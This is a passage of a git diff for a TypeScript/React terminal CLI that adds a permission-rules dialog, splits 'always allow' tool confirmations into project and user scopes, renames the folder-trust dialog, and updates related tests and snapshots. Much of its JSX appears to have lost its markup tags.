followed by a specifier in parentheses.', + )} + + + {t('e.g.,')} WebFetch {t('or')}{' '} + Bash(ls:*) + + + + + + + + + {t('Enter to submit · Esc to cancel')} + + + + ); + } + + if (view === 'add-rule-scope') { + const scopeItems = getPermScopeItems(); + return ( + + + + {t('Add {{type}} permission rule', { type: activeTab.id })} + + + + {pendingRuleText} + + {describeRule(pendingRuleText)} + + + + {t('Where should this rule be saved?')} + ({ + label: `${s.label} ${s.description}`, + value: s.value, + key: s.key, + }))} + onSelect={handleScopeSelect} + isFocused={true} + showNumbers={true} + /> + + + + {t('Enter to confirm · Esc to cancel')} + + + + ); + } + + if (view === 'delete-confirm' && deleteTarget) { + return ( + + + + {t('Delete {{type}} rule?', { type: deleteTarget.type })} + + + + {deleteTarget.rule.raw} + + {describeRule(deleteTarget.rule.raw)} + + + {scopeLabel(deleteTarget.scope)} + + + + + {t('Are you sure you want to delete this permission rule?')} + + + + + {t('Enter to confirm · Esc to cancel')} + + + + ); + } + + // --- Default: rule-list view --- + + return ( + + + {activeTab.description} + {/* Search box */} + + {'> '} + {searchQuery ? ( + {searchQuery} + ) : ( + {t('Search…')} + )} + + + {/* Rule list */} + + + + ); +} + +// --------------------------------------------------------------------------- +// Sub-components +// --------------------------------------------------------------------------- + +function TabBar({ + tabs, + activeIndex, +}: { + tabs: Tab[]; + activeIndex: number; +}): React.JSX.Element { + return ( + + + {t('Permissions:')}{' '} + + {tabs.map((tab, i) => ( + + {i === activeIndex ? ( + + {` ${tab.label} `} + + ) : ( + {` ${tab.label} `} + )} + + ))} + {t('(←/→ or tab to cycle)')} + + ); +} + +function FooterHint({ view }: { view: DialogView }): React.JSX.Element { + if (view !== 'rule-list' && view !== 'ws-dir-list') return <>; + return ( + + + {t( + 'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel', + )} + + + ); +} diff --git a/packages/cli/src/ui/components/ShellConfirmationDialog.test.tsx b/packages/cli/src/ui/components/ShellConfirmationDialog.test.tsx index bacf055fa553..0f3d40652e28 100644 --- a/packages/cli/src/ui/components/ShellConfirmationDialog.test.tsx +++ b/packages/cli/src/ui/components/ShellConfirmationDialog.test.tsx @@ -33,13 +33,13 @@ describe('ShellConfirmationDialog', () => { expect(select).toContain('Yes, allow once'); }); - it('calls onConfirm with ProceedAlways when "Yes, allow always for this session" is selected', () => { + it('calls onConfirm with ProceedAlwaysProject when "Always allow in this project" is selected', () => { const { lastFrame } = renderWithProviders( , ); const select = lastFrame()!.toString(); // Simulate selecting the second option - expect(select).toContain('Yes, allow always for this session'); + expect(select).toContain('Always allow in this project'); }); it('calls onConfirm with Cancel when "No (esc)" is selected', () => { diff --git a/packages/cli/src/ui/components/ShellConfirmationDialog.tsx b/packages/cli/src/ui/components/ShellConfirmationDialog.tsx index d83bf9bca267..5d6986efc985 100644 --- a/packages/cli/src/ui/components/ShellConfirmationDialog.tsx +++ b/packages/cli/src/ui/components/ShellConfirmationDialog.tsx @@ -57,9 +57,14 @@ export const ShellConfirmationDialog: React.FC< key: 'Yes, allow once', }, { - label: t('Yes, allow always for this session'), - value: ToolConfirmationOutcome.ProceedAlways, - key: 'Yes, allow always for this session', + label: t('Always allow in this project'), + value: ToolConfirmationOutcome.ProceedAlwaysProject, + key: 'Always allow in this project', + }, + { + label: t('Always allow for this user'), + value: ToolConfirmationOutcome.ProceedAlwaysUser, + key: 'Always allow for this user', }, { label: t('No (esc)'), diff --git a/packages/cli/src/ui/components/PermissionsModifyTrustDialog.test.tsx b/packages/cli/src/ui/components/TrustDialog.test.tsx similarity index 83% rename from packages/cli/src/ui/components/PermissionsModifyTrustDialog.test.tsx rename to packages/cli/src/ui/components/TrustDialog.test.tsx index 15d6948d8251..6ca6133dc5b0 100644 --- a/packages/cli/src/ui/components/PermissionsModifyTrustDialog.test.tsx +++ b/packages/cli/src/ui/components/TrustDialog.test.tsx @@ -9,13 +9,13 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; import type { Mock } from 'vitest'; import { renderWithProviders } from '../../test-utils/render.js'; -import { PermissionsModifyTrustDialog } from './PermissionsModifyTrustDialog.js'; +import { TrustDialog } from './TrustDialog.js'; import { TrustLevel } from '../../config/trustedFolders.js'; import { waitFor, act } from '@testing-library/react'; import * as processUtils from '../../utils/processUtils.js'; -import { usePermissionsModifyTrust } from '../hooks/usePermissionsModifyTrust.js'; +import { useTrustModify } from '../hooks/useTrustModify.js'; -// Hoist mocks for dependencies of the usePermissionsModifyTrust hook +// Hoist mocks for dependencies of the useTrustModify hook const mockedCwd = vi.hoisted(() => vi.fn()); const mockedLoadTrustedFolders = vi.hoisted(() => vi.fn()); const mockedIsWorkspaceTrusted = vi.hoisted(() => vi.fn()); @@ -39,16 +39,16 @@ vi.mock('../../config/trustedFolders.js', () => ({ }, })); -vi.mock('../hooks/usePermissionsModifyTrust.js'); +vi.mock('../hooks/useTrustModify.js'); -describe('PermissionsModifyTrustDialog', () => { +describe('TrustDialog', () => { let mockUpdateTrustLevel: Mock; let mockCommitTrustLevelChange: Mock; beforeEach(() => { mockUpdateTrustLevel = vi.fn(); mockCommitTrustLevelChange = vi.fn(); - vi.mocked(usePermissionsModifyTrust).mockReturnValue({ + vi.mocked(useTrustModify).mockReturnValue({ cwd: '/test/dir', currentTrustLevel: TrustLevel.DO_NOT_TRUST, isInheritedTrustFromParent: false, @@ -66,7 +66,7 @@ describe('PermissionsModifyTrustDialog', () => { it('should render the main dialog with current trust level', async () => { const { lastFrame } = renderWithProviders( - , + , ); await waitFor(() => { @@ -77,7 +77,7 @@ describe('PermissionsModifyTrustDialog', () => { }); it('should display the inherited trust note from parent', async () => { - vi.mocked(usePermissionsModifyTrust).mockReturnValue({ + vi.mocked(useTrustModify).mockReturnValue({ cwd: '/test/dir', currentTrustLevel: TrustLevel.DO_NOT_TRUST, isInheritedTrustFromParent: true, @@ -88,7 +88,7 @@ describe('PermissionsModifyTrustDialog', () => { isFolderTrustEnabled: true, }); const { lastFrame } = renderWithProviders( - , + , ); await waitFor(() => { @@ -99,7 +99,7 @@ describe('PermissionsModifyTrustDialog', () => { }); it('should display the inherited trust note from IDE', async () => { - vi.mocked(usePermissionsModifyTrust).mockReturnValue({ + vi.mocked(useTrustModify).mockReturnValue({ cwd: '/test/dir', currentTrustLevel: TrustLevel.DO_NOT_TRUST, isInheritedTrustFromParent: false, @@ -110,7 +110,7 @@ describe('PermissionsModifyTrustDialog', () => { isFolderTrustEnabled: true, }); const { lastFrame } = renderWithProviders( - , + , ); await waitFor(() => { @@ -123,7 +123,7 @@ describe('PermissionsModifyTrustDialog', () => { it('should call onExit when escape is pressed', async () => { const onExit = vi.fn(); const { stdin, lastFrame } = renderWithProviders( - , + , ); await waitFor(() => expect(lastFrame()).not.toContain('Loading...')); @@ -141,7 +141,7 @@ describe('PermissionsModifyTrustDialog', () => { const mockRelaunchApp = vi .spyOn(processUtils, 'relaunchApp') .mockResolvedValue(undefined); - vi.mocked(usePermissionsModifyTrust).mockReturnValue({ + vi.mocked(useTrustModify).mockReturnValue({ cwd: '/test/dir', currentTrustLevel: TrustLevel.DO_NOT_TRUST, isInheritedTrustFromParent: false, @@ -154,7 +154,7 @@ describe('PermissionsModifyTrustDialog', () => { const onExit = vi.fn(); const { stdin, lastFrame } = renderWithProviders( - , + , ); await waitFor(() => expect(lastFrame()).not.toContain('Loading...')); @@ -171,7 +171,7 @@ describe('PermissionsModifyTrustDialog', () => { }); it('should not commit when escape is pressed during restart prompt', async () => { - vi.mocked(usePermissionsModifyTrust).mockReturnValue({ + vi.mocked(useTrustModify).mockReturnValue({ cwd: '/test/dir', currentTrustLevel: TrustLevel.DO_NOT_TRUST, isInheritedTrustFromParent: false, @@ -184,7 +184,7 @@ describe('PermissionsModifyTrustDialog', () => { const onExit = vi.fn(); const { stdin, lastFrame } = renderWithProviders( - , + , ); await waitFor(() => expect(lastFrame()).not.toContain('Loading...')); diff --git a/packages/cli/src/ui/components/PermissionsModifyTrustDialog.tsx b/packages/cli/src/ui/components/TrustDialog.tsx similarity index 92% rename from packages/cli/src/ui/components/PermissionsModifyTrustDialog.tsx rename to packages/cli/src/ui/components/TrustDialog.tsx index dfed5ba429fa..ed2f202a84bf 100644 --- a/packages/cli/src/ui/components/PermissionsModifyTrustDialog.tsx +++ b/packages/cli/src/ui/components/TrustDialog.tsx @@ -8,13 +8,13 @@ import { Box, Text } from 'ink'; import type React from 'react'; import { TrustLevel } from '../../config/trustedFolders.js'; import { useKeypress } from '../hooks/useKeypress.js'; -import { usePermissionsModifyTrust } from '../hooks/usePermissionsModifyTrust.js'; +import { useTrustModify } from '../hooks/useTrustModify.js'; import { theme } from '../semantic-colors.js'; import { RadioButtonSelect } from './shared/RadioButtonSelect.js'; import { relaunchApp } from '../../utils/processUtils.js'; import { type UseHistoryManagerReturn } from '../hooks/useHistoryManager.js'; -interface PermissionsModifyTrustDialogProps { +interface TrustDialogProps { onExit: () => void; addItem: UseHistoryManagerReturn['addItem']; } @@ -37,10 +37,10 @@ const TRUST_LEVEL_ITEMS = [ }, ]; -export function PermissionsModifyTrustDialog({ +export function TrustDialog({ onExit, addItem, -}: PermissionsModifyTrustDialogProps): React.JSX.Element { +}: TrustDialogProps): React.JSX.Element { const { cwd, currentTrustLevel, @@ -49,7 +49,7 @@ export function PermissionsModifyTrustDialog({ needsRestart, updateTrustLevel, commitTrustLevelChange, - } = usePermissionsModifyTrust(onExit, addItem); + } = useTrustModify(onExit, addItem); useKeypress( (key) => { diff --git a/packages/cli/src/ui/components/__snapshots__/LoopDetectionConfirmation.test.tsx.snap b/packages/cli/src/ui/components/__snapshots__/LoopDetectionConfirmation.test.tsx.snap index da3c1f9a1506..ef8f8a006b17 100644 --- a/packages/cli/src/ui/components/__snapshots__/LoopDetectionConfirmation.test.tsx.snap +++ b/packages/cli/src/ui/components/__snapshots__/LoopDetectionConfirmation.test.tsx.snap @@ -7,7 +7,7 @@ exports[`LoopDetectionConfirmation > renders correctly 1`] = ` │ This can happen due to repetitive tool calls or other model behavior. Do you want to keep loop │ │ detection enabled or disable it for this session? │ │ │ - │ ● 1. Keep loop detection enabled (esc) │ + │ › 1. Keep loop detection enabled (esc) │ │ 2. Disable loop detection for this session │ │ │ │ Note: To disable loop detection checks for all future sessions, set "model.skipLoopDetection" to │ diff --git a/packages/cli/src/ui/components/__snapshots__/ShellConfirmationDialog.test.tsx.snap b/packages/cli/src/ui/components/__snapshots__/ShellConfirmationDialog.test.tsx.snap index 8c9ceb298dc7..ecd4c06526b4 100644 --- a/packages/cli/src/ui/components/__snapshots__/ShellConfirmationDialog.test.tsx.snap +++ b/packages/cli/src/ui/components/__snapshots__/ShellConfirmationDialog.test.tsx.snap @@ -13,9 +13,10 @@ exports[`ShellConfirmationDialog > renders correctly 1`] = ` │ │ │ Do you want to proceed? │ │ │ - │ ● 1. Yes, allow once │ - │ 2. Yes, allow always for this session │ - │ 3. No (esc) │ + │ › 1. Yes, allow once │ + │ 2. Always allow in this project │ + │ 3. Always allow for this user │ + │ 4. No (esc) │ │ │ ╰──────────────────────────────────────────────────────────────────────────────────────────────────╯" `; diff --git a/packages/cli/src/ui/components/__snapshots__/ThemeDialog.test.tsx.snap b/packages/cli/src/ui/components/__snapshots__/ThemeDialog.test.tsx.snap index d254c32dfc40..479bfe3c12e9 100644 --- a/packages/cli/src/ui/components/__snapshots__/ThemeDialog.test.tsx.snap +++ b/packages/cli/src/ui/components/__snapshots__/ThemeDialog.test.tsx.snap @@ -5,7 +5,7 @@ exports[`ThemeDialog Snapshots > should render correctly in scope selector mode │ │ │ > Apply To │ │ │ -│ ● 1. User Settings │ +│ › 1. User Settings │ │ 2. Workspace Settings │ │ │ │ (Use Enter to apply scope, Tab to go back) │ @@ -19,7 +19,7 @@ exports[`ThemeDialog Snapshots > should render correctly in theme selection mode │ > Select Theme Preview │ │ ▲ ┌─────────────────────────────────────────────────┐ │ │ 1. Qwen Light Light │ │ │ -│ ● 2. Qwen Dark Dark │ 1 # function │ │ +│ › 2. Qwen Dark Dark │ 1 # function │ │ │ 3. ANSI Dark │ 2 def fibonacci(n): │ │ │ 4. Atom One Dark │ 3 a, b = 0, 1 │ │ │ 5. Ayu Dark │ 4 for _ in range(n): │ │ diff --git a/packages/cli/src/ui/components/extensions/steps/__snapshots__/ActionSelectionStep.test.tsx.snap b/packages/cli/src/ui/components/extensions/steps/__snapshots__/ActionSelectionStep.test.tsx.snap index a872a8859cf5..c46d18235833 100644 --- a/packages/cli/src/ui/components/extensions/steps/__snapshots__/ActionSelectionStep.test.tsx.snap +++ b/packages/cli/src/ui/components/extensions/steps/__snapshots__/ActionSelectionStep.test.tsx.snap @@ -1,33 +1,33 @@ // Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html exports[`ActionSelectionStep Snapshots > should render for active extension without update 1`] = ` -"● View Details +"› View Details Disable Extension Uninstall Extension" `; exports[`ActionSelectionStep Snapshots > should render for disabled extension 1`] = ` -"● View Details +"› View Details Enable Extension Uninstall Extension" `; exports[`ActionSelectionStep Snapshots > should render for disabled extension with update 1`] = ` -"● View Details +"› View Details Update Extension Enable Extension Uninstall Extension" `; exports[`ActionSelectionStep Snapshots > should render for extension with update available 1`] = ` -"● View Details +"› View Details Update Extension Disable Extension Uninstall Extension" `; exports[`ActionSelectionStep Snapshots > should render with no extension selected 1`] = ` -"● View Details +"› View Details Enable Extension Uninstall Extension" `; diff --git a/packages/cli/src/ui/components/messages/ToolConfirmationMessage.test.tsx b/packages/cli/src/ui/components/messages/ToolConfirmationMessage.test.tsx index 11daefa3b4b7..17b7ea44ed17 100644 --- a/packages/cli/src/ui/components/messages/ToolConfirmationMessage.test.tsx +++ b/packages/cli/src/ui/components/messages/ToolConfirmationMessage.test.tsx @@ -138,17 +138,17 @@ describe('ToolConfirmationMessage', () => { { description: 'for exec confirmations', details: execConfirmationDetails, - alwaysAllowText: 'Yes, allow always', + alwaysAllowText: 'Always allow in this project', }, { description: 'for info confirmations', details: infoConfirmationDetails, - alwaysAllowText: 'Yes, allow always', + alwaysAllowText: 'Always allow in this project', }, { description: 'for mcp confirmations', details: mcpConfirmationDetails, - alwaysAllowText: 'always allow', + alwaysAllowText: 'Always allow in this project', }, ])('$description', ({ details, alwaysAllowText }) => { it('should show "allow always" when folder is trusted', () => { diff --git a/packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx b/packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx index 34eb34cacd61..3946b0b05d20 100644 --- a/packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx +++ b/packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx @@ -242,11 +242,19 @@ export const ToolConfirmationMessage: React.FC< value: ToolConfirmationOutcome.ProceedOnce, key: 'Yes, allow once', }); - if (isTrustedFolder) { + if (isTrustedFolder && !confirmationDetails.hideAlwaysAllow) { + const rulesLabel = executionProps.permissionRules?.length + ? ` [${executionProps.permissionRules.join(', ')}]` + : ''; options.push({ - label: t('Yes, allow always ...'), - value: ToolConfirmationOutcome.ProceedAlways, - key: 'Yes, allow always ...', + label: t('Always allow in this project') + rulesLabel, + value: ToolConfirmationOutcome.ProceedAlwaysProject, + key: 'Always allow in this project', + }); + options.push({ + label: t('Always allow for this user') + rulesLabel, + value: ToolConfirmationOutcome.ProceedAlwaysUser, + key: 'Always allow for this user', }); } options.push({ @@ -315,11 +323,21 @@ export const ToolConfirmationMessage: React.FC< value: ToolConfirmationOutcome.ProceedOnce, key: 'Yes, allow once', }); - if (isTrustedFolder) { + if (isTrustedFolder && !confirmationDetails.hideAlwaysAllow) { + const rulesLabel = + 'permissionRules' in infoProps && + (infoProps as { permissionRules?: string[] }).permissionRules?.length + ? ` [${(infoProps as { permissionRules?: string[] }).permissionRules!.join(', ')}]` + : ''; options.push({ - label: t('Yes, allow always'), - value: ToolConfirmationOutcome.ProceedAlways, - key: 'Yes, allow always', + label: t('Always allow in this project') + rulesLabel, + value: ToolConfirmationOutcome.ProceedAlwaysProject, + key: 'Always allow in this project', + }); + options.push({ + label: t('Always allow for this user') + rulesLabel, + value: ToolConfirmationOutcome.ProceedAlwaysUser, + key: 'Always allow for this user', }); } options.push({ @@ -382,21 +400,19 @@ export const ToolConfirmationMessage: React.FC< value: ToolConfirmationOutcome.ProceedOnce, key: 'Yes, allow once', }); - if (isTrustedFolder) { + if (isTrustedFolder && !confirmationDetails.hideAlwaysAllow) { + const rulesLabel = mcpProps.permissionRules?.length + ? ` [${mcpProps.permissionRules.join(', ')}]` + : ''; options.push({ - label: t('Yes, always allow tool "{{tool}}" from server "{{server}}"', { - tool: mcpProps.toolName, - server: mcpProps.serverName, - }), - value: ToolConfirmationOutcome.ProceedAlwaysTool, // Cast until types are updated - key: `Yes, always allow tool "${mcpProps.toolName}" from server "${mcpProps.serverName}"`, + label: t('Always allow in this project') + rulesLabel, + value: ToolConfirmationOutcome.ProceedAlwaysProject, + key: 'Always allow in this project', }); options.push({ - label: t('Yes, always allow all tools from server "{{server}}"', { - server: mcpProps.serverName, - }), - value: ToolConfirmationOutcome.ProceedAlwaysServer, - key: `Yes, always allow all tools from server "${mcpProps.serverName}"`, + label: t('Always allow for this user') + rulesLabel, + value: ToolConfirmationOutcome.ProceedAlwaysUser, + key: 'Always allow for this user', }); } options.push({ diff --git a/packages/cli/src/ui/components/shared/BaseSelectionList.test.tsx b/packages/cli/src/ui/components/shared/BaseSelectionList.test.tsx index e17dea39be6d..13286440bf26 100644 --- a/packages/cli/src/ui/components/shared/BaseSelectionList.test.tsx +++ b/packages/cli/src/ui/components/shared/BaseSelectionList.test.tsx @@ -93,12 +93,12 @@ describe('BaseSelectionList', () => { expect(mockRenderItem).toHaveBeenCalledWith(items[0], expect.any(Object)); }); - it('should render the selection indicator (● or space) and layout', () => { + it('should render the selection indicator (› or space) and layout', () => { const { lastFrame } = renderComponent({}, 0); const output = lastFrame(); // Use regex to assert the structure: Indicator + Whitespace + Number + Label - expect(output).toMatch(/●\s+1\.\s+Item A/); + expect(output).toMatch(/›\s+1\.\s+Item A/); expect(output).toMatch(/\s+2\.\s+Item B/); expect(output).toMatch(/\s+3\.\s+Item C/); }); diff --git a/packages/cli/src/ui/components/shared/BaseSelectionList.tsx b/packages/cli/src/ui/components/shared/BaseSelectionList.tsx index 15664ef95130..aacc634218e3 100644 --- a/packages/cli/src/ui/components/shared/BaseSelectionList.tsx +++ b/packages/cli/src/ui/components/shared/BaseSelectionList.tsx @@ -138,7 +138,7 @@ export function BaseSelectionList< color={isSelected ? theme.status.success : theme.text.primary} aria-hidden > - {isSelected ? '●' : ' '} + {isSelected ? '›' : ' '} diff --git a/packages/cli/src/ui/components/shared/TextInput.tsx b/packages/cli/src/ui/components/shared/TextInput.tsx index 01ebc2fa035d..eed7d2a78be1 100644 --- a/packages/cli/src/ui/components/shared/TextInput.tsx +++ b/packages/cli/src/ui/components/shared/TextInput.tsx @@ -21,6 +21,12 @@ export interface TextInputProps { value: string; onChange: (text: string) => void; onSubmit?: () => void; + /** Called when Tab is pressed; if provided, prevents the default tab-insertion behaviour. */ + onTab?: () => void; + /** Called when ↑ is pressed; if provided, prevents cursor-up in the buffer. */ + onUp?: () => void; + /** Called when ↓ is pressed; if provided, prevents cursor-down in the buffer. */ + onDown?: () => void; placeholder?: string; height?: number; // lines in viewport; >1 enables multiline isActive?: boolean; // when false, ignore keypresses @@ -33,6 +39,9 @@ export function TextInput({ value, onChange, onSubmit, + onTab, + onUp, + onDown, placeholder, height = 1, isActive = true, @@ -68,6 +77,22 @@ export function TextInput({ (key: Key) => { if (!buffer || !isActive) return; + // Tab completion: delegate to caller instead of inserting a tab character + if (key.name === 'tab') { + onTab?.(); + return; + } + + // Arrow-key completion navigation: delegate to caller + if (key.name === 'up' && onUp) { + onUp(); + return; + } + if (key.name === 'down' && onDown) { + onDown(); + return; + } + // Submit on Enter if (keyMatchers[Command.SUBMIT](key) || key.name === 'return') { if (allowMultiline) { diff --git a/packages/cli/src/ui/components/shared/__snapshots__/DescriptiveRadioButtonSelect.test.tsx.snap b/packages/cli/src/ui/components/shared/__snapshots__/DescriptiveRadioButtonSelect.test.tsx.snap index 822b88b0c8cc..5a4505062132 100644 --- a/packages/cli/src/ui/components/shared/__snapshots__/DescriptiveRadioButtonSelect.test.tsx.snap +++ b/packages/cli/src/ui/components/shared/__snapshots__/DescriptiveRadioButtonSelect.test.tsx.snap @@ -4,7 +4,7 @@ exports[`DescriptiveRadioButtonSelect > should render correctly with custom prop "▲ 1. Foo Title This is Foo. -● 2. Bar Title +› 2. Bar Title This is Bar. 3. Baz Title This is Baz. @@ -12,7 +12,7 @@ exports[`DescriptiveRadioButtonSelect > should render correctly with custom prop `; exports[`DescriptiveRadioButtonSelect > should render correctly with default props 1`] = ` -"● Foo Title +"› Foo Title This is Foo. Bar Title This is Bar. diff --git a/packages/cli/src/ui/contexts/UIActionsContext.tsx b/packages/cli/src/ui/contexts/UIActionsContext.tsx index 7dccb8f4599d..8604e6744833 100644 --- a/packages/cli/src/ui/contexts/UIActionsContext.tsx +++ b/packages/cli/src/ui/contexts/UIActionsContext.tsx @@ -59,6 +59,7 @@ export interface UIActions { closeArenaDialog: () => void; handleArenaModelsSelected?: (models: string[]) => void; dismissCodingPlanUpdate: () => void; + closeTrustDialog: () => void; closePermissionsDialog: () => void; setShellModeActive: (value: boolean) => void; vimHandleInput: (key: Key) => boolean; diff --git a/packages/cli/src/ui/contexts/UIStateContext.tsx b/packages/cli/src/ui/contexts/UIStateContext.tsx index 873cf264add6..986b07899e0a 100644 --- a/packages/cli/src/ui/contexts/UIStateContext.tsx +++ b/packages/cli/src/ui/contexts/UIStateContext.tsx @@ -53,6 +53,7 @@ export interface UIState { quittingMessages: HistoryItem[] | null; isSettingsDialogOpen: boolean; isModelDialogOpen: boolean; + isTrustDialogOpen: boolean; activeArenaDialog: ArenaDialogType; isPermissionsDialogOpen: boolean; isApprovalModeDialogOpen: boolean; diff --git a/packages/cli/src/ui/hooks/slashCommandProcessor.test.ts b/packages/cli/src/ui/hooks/slashCommandProcessor.test.ts index c48653970f53..49cefb39ce2d 100644 --- a/packages/cli/src/ui/hooks/slashCommandProcessor.test.ts +++ b/packages/cli/src/ui/hooks/slashCommandProcessor.test.ts @@ -156,6 +156,7 @@ describe('useSlashCommandProcessor', () => { openEditorDialog: vi.fn(), openSettingsDialog: vi.fn(), openModelDialog: mockOpenModelDialog, + openTrustDialog: vi.fn(), openPermissionsDialog: vi.fn(), openApprovalModeDialog: vi.fn(), openResumeDialog: vi.fn(), @@ -929,6 +930,7 @@ describe('useSlashCommandProcessor', () => { openEditorDialog: vi.fn(), openSettingsDialog: vi.fn(), openModelDialog: vi.fn(), + openTrustDialog: vi.fn(), openPermissionsDialog: vi.fn(), openApprovalModeDialog: vi.fn(), openResumeDialog: vi.fn(), diff --git a/packages/cli/src/ui/hooks/slashCommandProcessor.ts b/packages/cli/src/ui/hooks/slashCommandProcessor.ts index 4fd3e92a02a5..d799a402d3c4 100644 --- a/packages/cli/src/ui/hooks/slashCommandProcessor.ts +++ b/packages/cli/src/ui/hooks/slashCommandProcessor.ts @@ -72,6 +72,7 @@ interface SlashCommandProcessorActions { openEditorDialog: () => void; openSettingsDialog: () => void; openModelDialog: () => void; + openTrustDialog: () => void; openPermissionsDialog: () => void; openApprovalModeDialog: () => void; openResumeDialog: () => void; @@ -485,6 +486,9 @@ export const useSlashCommandProcessor = ( case 'model': actions.openModelDialog(); return { type: 'handled' }; + case 'trust': + actions.openTrustDialog(); + return { type: 'handled' }; case 'permissions': actions.openPermissionsDialog(); return { type: 'handled' }; diff --git a/packages/cli/src/ui/hooks/useToolScheduler.test.ts b/packages/cli/src/ui/hooks/useToolScheduler.test.ts index 4b40761a4c02..dc898d46c775 100644 --- a/packages/cli/src/ui/hooks/useToolScheduler.test.ts +++ b/packages/cli/src/ui/hooks/useToolScheduler.test.ts @@ -59,7 +59,7 @@ const mockConfig = { }, getTruncateToolOutputThreshold: () => DEFAULT_TRUNCATE_TOOL_OUTPUT_THRESHOLD, getTruncateToolOutputLines: () => DEFAULT_TRUNCATE_TOOL_OUTPUT_LINES, - getAllowedTools: vi.fn(() => []), + getPermissionsAllow: vi.fn(() => []), getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -83,24 +83,14 @@ const mockTool = new MockTool({ name: 'mockTool', displayName: 'Mock Tool', execute: vi.fn(), - shouldConfirmExecute: vi.fn(), -}); -const mockToolWithLiveOutput = new MockTool({ - name: 'mockToolWithLiveOutput', - displayName: 'Mock Tool With Live Output', - description: 'A mock tool for testing', - params: {}, - isOutputMarkdown: true, - canUpdateOutput: true, - execute: vi.fn(), - shouldConfirmExecute: vi.fn(), }); let mockOnUserConfirmForToolConfirmation: Mock; const mockToolRequiresConfirmation = new MockTool({ name: 'mockToolRequiresConfirmation', displayName: 'Mock Tool Requires Confirmation', execute: vi.fn(), - shouldConfirmExecute: vi.fn(), + getDefaultPermission: () => Promise.resolve('ask' as any), + getConfirmationDetails: vi.fn(), }); describe('useReactToolScheduler in YOLO Mode', () => { @@ -112,7 +102,7 @@ describe('useReactToolScheduler in YOLO Mode', () => { setPendingHistoryItem = vi.fn(); mockToolRegistry.getTool.mockClear(); (mockToolRequiresConfirmation.execute as Mock).mockClear(); - (mockToolRequiresConfirmation.shouldConfirmExecute as Mock).mockClear(); + (mockToolRequiresConfirmation.getConfirmationDetails as Mock).mockClear(); // IMPORTANT: Enable YOLO mode for this test suite (mockConfig.getApprovalMode as Mock).mockReturnValue(ApprovalMode.YOLO); @@ -218,17 +208,14 @@ describe('useReactToolScheduler', () => { mockToolRegistry.getTool.mockClear(); (mockTool.execute as Mock).mockClear(); - (mockTool.shouldConfirmExecute as Mock).mockClear(); - (mockToolWithLiveOutput.execute as Mock).mockClear(); - (mockToolWithLiveOutput.shouldConfirmExecute as Mock).mockClear(); (mockToolRequiresConfirmation.execute as Mock).mockClear(); - (mockToolRequiresConfirmation.shouldConfirmExecute as Mock).mockClear(); + (mockToolRequiresConfirmation.getConfirmationDetails as Mock).mockClear(); mockOnUserConfirmForToolConfirmation = vi.fn(); ( - mockToolRequiresConfirmation.shouldConfirmExecute as Mock + mockToolRequiresConfirmation.getConfirmationDetails as Mock ).mockImplementation( - async (): Promise => + async (): Promise => ({ onConfirm: mockOnUserConfirmForToolConfirmation, fileName: 'mockToolRequiresConfirmation.ts', @@ -267,7 +254,6 @@ describe('useReactToolScheduler', () => { llmContent: 'Tool output', returnDisplay: 'Formatted tool output', } as ToolResult); - (mockTool.shouldConfirmExecute as Mock).mockResolvedValue(null); const { result } = renderScheduler(); const schedule = result.current[1]; @@ -352,10 +338,11 @@ describe('useReactToolScheduler', () => { expect(result.current[0]).toEqual([]); }); - it('should handle error during shouldConfirmExecute', async () => { + it('should handle error during getDefaultPermission', async () => { mockToolRegistry.getTool.mockReturnValue(mockTool); const confirmError = new Error('Confirmation check failed'); - (mockTool.shouldConfirmExecute as Mock).mockRejectedValue(confirmError); + const originalGetDefaultPermission = mockTool.getDefaultPermission; + mockTool.getDefaultPermission = () => Promise.reject(confirmError); const { result } = renderScheduler(); const schedule = result.current[1]; @@ -385,11 +372,11 @@ describe('useReactToolScheduler', () => { }), ]); expect(result.current[0]).toEqual([]); + mockTool.getDefaultPermission = originalGetDefaultPermission; }); it('should handle error during execute', async () => { mockToolRegistry.getTool.mockReturnValue(mockTool); - (mockTool.shouldConfirmExecute as Mock).mockResolvedValue(null); const execError = new Error('Execution failed'); (mockTool.execute as Mock).mockRejectedValue(execError); @@ -532,7 +519,6 @@ describe('mapToDisplay', () => { name: 'testTool', displayName: 'Test Tool Display', execute: vi.fn(), - shouldConfirmExecute: vi.fn(), }); const baseResponse: ToolCallResponseInfo = { @@ -767,7 +753,6 @@ describe('mapToDisplay', () => { displayName: baseTool.displayName, isOutputMarkdown: true, execute: vi.fn(), - shouldConfirmExecute: vi.fn(), }); const toolCall2: ToolCall = { request: { ...baseRequest, callId: 'call2' }, diff --git a/packages/cli/src/ui/hooks/usePermissionsModifyTrust.test.ts b/packages/cli/src/ui/hooks/useTrustModify.test.ts similarity index 91% rename from packages/cli/src/ui/hooks/usePermissionsModifyTrust.test.ts rename to packages/cli/src/ui/hooks/useTrustModify.test.ts index 519752e82be8..c73ed0aaba8e 100644 --- a/packages/cli/src/ui/hooks/usePermissionsModifyTrust.test.ts +++ b/packages/cli/src/ui/hooks/useTrustModify.test.ts @@ -16,7 +16,7 @@ import { type Mock, } from 'vitest'; import { renderHook, act } from '@testing-library/react'; -import { usePermissionsModifyTrust } from './usePermissionsModifyTrust.js'; +import { useTrustModify } from './useTrustModify.js'; import { TrustLevel } from '../../config/trustedFolders.js'; import type { LoadedSettings } from '../../config/settings.js'; import type { LoadedTrustedFolders } from '../../config/trustedFolders.js'; @@ -46,7 +46,7 @@ vi.mock('../contexts/SettingsContext.js', () => ({ useSettings: mockedUseSettings, })); -describe('usePermissionsModifyTrust', () => { +describe('useTrustModify', () => { let mockOnExit: Mock; let mockAddItem: Mock; @@ -84,7 +84,7 @@ describe('usePermissionsModifyTrust', () => { }); const { result } = renderHook(() => - usePermissionsModifyTrust(mockOnExit, mockAddItem), + useTrustModify(mockOnExit, mockAddItem), ); expect(result.current.currentTrustLevel).toBe(TrustLevel.TRUST_FOLDER); @@ -101,7 +101,7 @@ describe('usePermissionsModifyTrust', () => { }); const { result } = renderHook(() => - usePermissionsModifyTrust(mockOnExit, mockAddItem), + useTrustModify(mockOnExit, mockAddItem), ); expect(result.current.isInheritedTrustFromParent).toBe(true); @@ -118,7 +118,7 @@ describe('usePermissionsModifyTrust', () => { }); const { result } = renderHook(() => - 